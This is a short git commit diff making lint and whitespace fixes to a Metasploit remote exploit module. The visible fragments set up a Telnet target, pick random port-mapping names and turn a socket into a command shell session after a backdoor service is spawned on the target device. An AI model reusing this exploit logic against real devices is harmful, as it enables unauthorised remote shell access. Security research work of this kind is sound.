make msftidy happy

unstable
m-1-k-3 2013-07-14 15:45:14 +02:00
parent 47ca4fd48f
commit 9f65264af4
1 changed files with 11 additions and 12 deletions

View File

@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => 'unix' 'Platform' => 'unix'
} }
], ],
[ 'Telnet', #all devices, use a netcat bind payload for getting a valid session [ 'Telnet', #all devices
{ {
'Arch' => ARCH_CMD, 'Arch' => ARCH_CMD,
'Platform' => 'unix' 'Platform' => 'unix'
@ -144,7 +144,6 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def exploit def exploit
handler
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
new_portmapping_description = rand_text_alpha(8) new_portmapping_description = rand_text_alpha(8)
@ -221,21 +220,21 @@ class Metasploit3 < Msf::Exploit::Remote
} }
#taken from ./lib/msf/core/auxiliary/commandshell.rb #taken from ./lib/msf/core/auxiliary/commandshell.rb
info = "TELNET (#{rhost}:#{telnetport})" info = "TELNET (#{rhost}:#{telnetport})"
sess = Msf::Sessions::CommandShell.new(sock) sess = Msf::Sessions::CommandShell.new(sock)
sess.set_from_exploit(self) sess.set_from_exploit(self)
sess.info = info sess.info = info
# Clean up the stored data # Clean up the stored data
sess.exploit_datastore.merge!(merge_me) sess.exploit_datastore.merge!(merge_me)
# Prevent the socket from being closed # Prevent the socket from being closed
self.sockets.delete(sock) self.sockets.delete(sock)
self.sock = nil if self.respond_to? :sock self.sock = nil if self.respond_to? :sock
framework.sessions.register(sess) framework.sessions.register(sess)
sess.process_autoruns(datastore) sess.process_autoruns(datastore)
sess sess
rescue rescue
print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!") print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end end